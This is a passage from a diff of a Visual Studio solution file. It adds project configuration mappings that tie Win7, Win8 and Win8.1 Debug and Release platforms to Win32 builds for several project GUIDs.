+ Win8.1 Release|Mixed Platforms = Win8.1 Release|Mixed Platforms
+ Win8.1 Release|Win32 = Win8.1 Release|Win32
+ Win8.1 Release|x64 = Win8.1 Release|x64
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Debug|Mixed Platforms.ActiveCfg = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Debug|Mixed Platforms.Build.0 = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Debug|Win32.ActiveCfg = Debug|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Debug|Win32.Build.0 = Debug|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Debug|x64.ActiveCfg = Debug|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Release|Mixed Platforms.Build.0 = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Release|Win32.ActiveCfg = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Release|Win32.Build.0 = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Release|x64.ActiveCfg = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win7 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win7 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win7 Debug|Win32.ActiveCfg = Debug|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win7 Debug|Win32.Build.0 = Debug|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win7 Debug|Win32.Deploy.0 = Debug|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win7 Debug|x64.ActiveCfg = Debug|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win7 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win7 Release|Mixed Platforms.Build.0 = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win7 Release|Win32.ActiveCfg = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win7 Release|Win32.Build.0 = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win7 Release|Win32.Deploy.0 = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win7 Release|x64.ActiveCfg = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8 Debug|Win32.ActiveCfg = Debug|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8 Debug|Win32.Build.0 = Debug|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8 Debug|Win32.Deploy.0 = Debug|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8 Debug|x64.ActiveCfg = Debug|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8 Release|Mixed Platforms.Build.0 = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8 Release|Win32.ActiveCfg = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8 Release|Win32.Build.0 = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8 Release|Win32.Deploy.0 = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8 Release|x64.ActiveCfg = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8.1 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8.1 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8.1 Debug|Win32.ActiveCfg = Debug|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8.1 Debug|Win32.Build.0 = Debug|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8.1 Debug|Win32.Deploy.0 = Debug|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8.1 Debug|x64.ActiveCfg = Debug|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8.1 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8.1 Release|Mixed Platforms.Build.0 = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8.1 Release|Win32.ActiveCfg = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8.1 Release|Win32.Build.0 = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8.1 Release|Win32.Deploy.0 = Release|Win32
+ {E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}.Win8.1 Release|x64.ActiveCfg = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Debug|Mixed Platforms.ActiveCfg = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Debug|Mixed Platforms.Build.0 = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Debug|Win32.ActiveCfg = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Debug|Win32.Build.0 = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Debug|x64.ActiveCfg = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Release|Mixed Platforms.Build.0 = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Release|Win32.ActiveCfg = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Release|Win32.Build.0 = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Release|x64.ActiveCfg = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win7 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win7 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win7 Debug|Win32.ActiveCfg = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win7 Debug|Win32.Build.0 = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win7 Debug|Win32.Deploy.0 = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win7 Debug|x64.ActiveCfg = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win7 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win7 Release|Mixed Platforms.Build.0 = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win7 Release|Win32.ActiveCfg = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win7 Release|Win32.Build.0 = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win7 Release|Win32.Deploy.0 = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win7 Release|x64.ActiveCfg = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8 Debug|Win32.ActiveCfg = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8 Debug|Win32.Build.0 = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8 Debug|Win32.Deploy.0 = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8 Debug|x64.ActiveCfg = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8 Release|Mixed Platforms.Build.0 = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8 Release|Win32.ActiveCfg = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8 Release|Win32.Build.0 = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8 Release|Win32.Deploy.0 = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8 Release|x64.ActiveCfg = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8.1 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8.1 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8.1 Debug|Win32.ActiveCfg = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8.1 Debug|Win32.Build.0 = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8.1 Debug|Win32.Deploy.0 = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8.1 Debug|x64.ActiveCfg = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8.1 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8.1 Release|Mixed Platforms.Build.0 = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8.1 Release|Win32.ActiveCfg = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8.1 Release|Win32.Build.0 = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8.1 Release|Win32.Deploy.0 = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Win8.1 Release|x64.ActiveCfg = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Debug|Mixed Platforms.ActiveCfg = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Debug|Mixed Platforms.Build.0 = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Debug|Win32.ActiveCfg = Debug|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Debug|Win32.Build.0 = Debug|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Debug|x64.ActiveCfg = Debug|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Release|Mixed Platforms.Build.0 = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Release|Win32.ActiveCfg = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Release|Win32.Build.0 = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Release|x64.ActiveCfg = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win7 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win7 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win7 Debug|Win32.ActiveCfg = Debug|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win7 Debug|Win32.Build.0 = Debug|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win7 Debug|Win32.Deploy.0 = Debug|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win7 Debug|x64.ActiveCfg = Debug|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win7 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win7 Release|Mixed Platforms.Build.0 = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win7 Release|Win32.ActiveCfg = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win7 Release|Win32.Build.0 = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win7 Release|Win32.Deploy.0 = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win7 Release|x64.ActiveCfg = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8 Debug|Win32.ActiveCfg = Debug|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8 Debug|Win32.Build.0 = Debug|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8 Debug|Win32.Deploy.0 = Debug|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8 Debug|x64.ActiveCfg = Debug|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8 Release|Mixed Platforms.Build.0 = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8 Release|Win32.ActiveCfg = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8 Release|Win32.Build.0 = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8 Release|Win32.Deploy.0 = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8 Release|x64.ActiveCfg = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8.1 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8.1 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8.1 Debug|Win32.ActiveCfg = Debug|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8.1 Debug|Win32.Build.0 = Debug|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8.1 Debug|Win32.Deploy.0 = Debug|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8.1 Debug|x64.ActiveCfg = Debug|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8.1 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8.1 Release|Mixed Platforms.Build.0 = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8.1 Release|Win32.ActiveCfg = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8.1 Release|Win32.Build.0 = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8.1 Release|Win32.Deploy.0 = Release|Win32
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}.Win8.1 Release|x64.ActiveCfg = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Debug|Mixed Platforms.ActiveCfg = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Debug|Mixed Platforms.Build.0 = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Debug|Win32.ActiveCfg = Debug|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Debug|Win32.Build.0 = Debug|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Debug|x64.ActiveCfg = Debug|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Release|Mixed Platforms.Build.0 = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Release|Win32.ActiveCfg = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Release|Win32.Build.0 = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Release|x64.ActiveCfg = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win7 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win7 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win7 Debug|Win32.ActiveCfg = Debug|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win7 Debug|Win32.Build.0 = Debug|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win7 Debug|Win32.Deploy.0 = Debug|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win7 Debug|x64.ActiveCfg = Debug|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win7 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win7 Release|Mixed Platforms.Build.0 = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win7 Release|Win32.ActiveCfg = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win7 Release|Win32.Build.0 = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win7 Release|Win32.Deploy.0 = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win7 Release|x64.ActiveCfg = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8 Debug|Win32.ActiveCfg = Debug|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8 Debug|Win32.Build.0 = Debug|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8 Debug|Win32.Deploy.0 = Debug|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8 Debug|x64.ActiveCfg = Debug|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8 Release|Mixed Platforms.Build.0 = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8 Release|Win32.ActiveCfg = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8 Release|Win32.Build.0 = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8 Release|Win32.Deploy.0 = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8 Release|x64.ActiveCfg = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8.1 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8.1 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8.1 Debug|Win32.ActiveCfg = Debug|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8.1 Debug|Win32.Build.0 = Debug|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8.1 Debug|Win32.Deploy.0 = Debug|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8.1 Debug|x64.ActiveCfg = Debug|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8.1 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8.1 Release|Mixed Platforms.Build.0 = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8.1 Release|Win32.ActiveCfg = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8.1 Release|Win32.Build.0 = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8.1 Release|Win32.Deploy.0 = Release|Win32
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}.Win8.1 Release|x64.ActiveCfg = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Debug|Mixed Platforms.ActiveCfg = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Debug|Mixed Platforms.Build.0 = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Debug|Win32.ActiveCfg = Debug|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Debug|Win32.Build.0 = Debug|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Debug|x64.ActiveCfg = Debug|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Release|Mixed Platforms.Build.0 = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Release|Win32.ActiveCfg = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Release|Win32.Build.0 = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Release|x64.ActiveCfg = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win7 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win7 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win7 Debug|Win32.ActiveCfg = Debug|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win7 Debug|Win32.Build.0 = Debug|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win7 Debug|Win32.Deploy.0 = Debug|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win7 Debug|x64.ActiveCfg = Debug|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win7 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win7 Release|Mixed Platforms.Build.0 = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win7 Release|Win32.ActiveCfg = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win7 Release|Win32.Build.0 = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win7 Release|Win32.Deploy.0 = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win7 Release|x64.ActiveCfg = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8 Debug|Win32.ActiveCfg = Debug|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8 Debug|Win32.Build.0 = Debug|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8 Debug|Win32.Deploy.0 = Debug|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8 Debug|x64.ActiveCfg = Debug|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8 Release|Mixed Platforms.Build.0 = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8 Release|Win32.ActiveCfg = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8 Release|Win32.Build.0 = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8 Release|Win32.Deploy.0 = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8 Release|x64.ActiveCfg = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8.1 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8.1 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8.1 Debug|Win32.ActiveCfg = Debug|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8.1 Debug|Win32.Build.0 = Debug|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8.1 Debug|Win32.Deploy.0 = Debug|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8.1 Debug|x64.ActiveCfg = Debug|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8.1 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8.1 Release|Mixed Platforms.Build.0 = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8.1 Release|Win32.ActiveCfg = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8.1 Release|Win32.Build.0 = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8.1 Release|Win32.Deploy.0 = Release|Win32
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}.Win8.1 Release|x64.ActiveCfg = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Debug|Mixed Platforms.ActiveCfg = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Debug|Mixed Platforms.Build.0 = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Debug|Win32.ActiveCfg = Debug|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Debug|Win32.Build.0 = Debug|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Debug|x64.ActiveCfg = Debug|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Release|Mixed Platforms.Build.0 = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Release|Win32.ActiveCfg = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Release|Win32.Build.0 = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Release|x64.ActiveCfg = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win7 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win7 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win7 Debug|Win32.ActiveCfg = Debug|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win7 Debug|Win32.Build.0 = Debug|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win7 Debug|Win32.Deploy.0 = Debug|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win7 Debug|x64.ActiveCfg = Debug|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win7 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win7 Release|Mixed Platforms.Build.0 = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win7 Release|Win32.ActiveCfg = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win7 Release|Win32.Build.0 = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win7 Release|Win32.Deploy.0 = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win7 Release|x64.ActiveCfg = Release|Win32
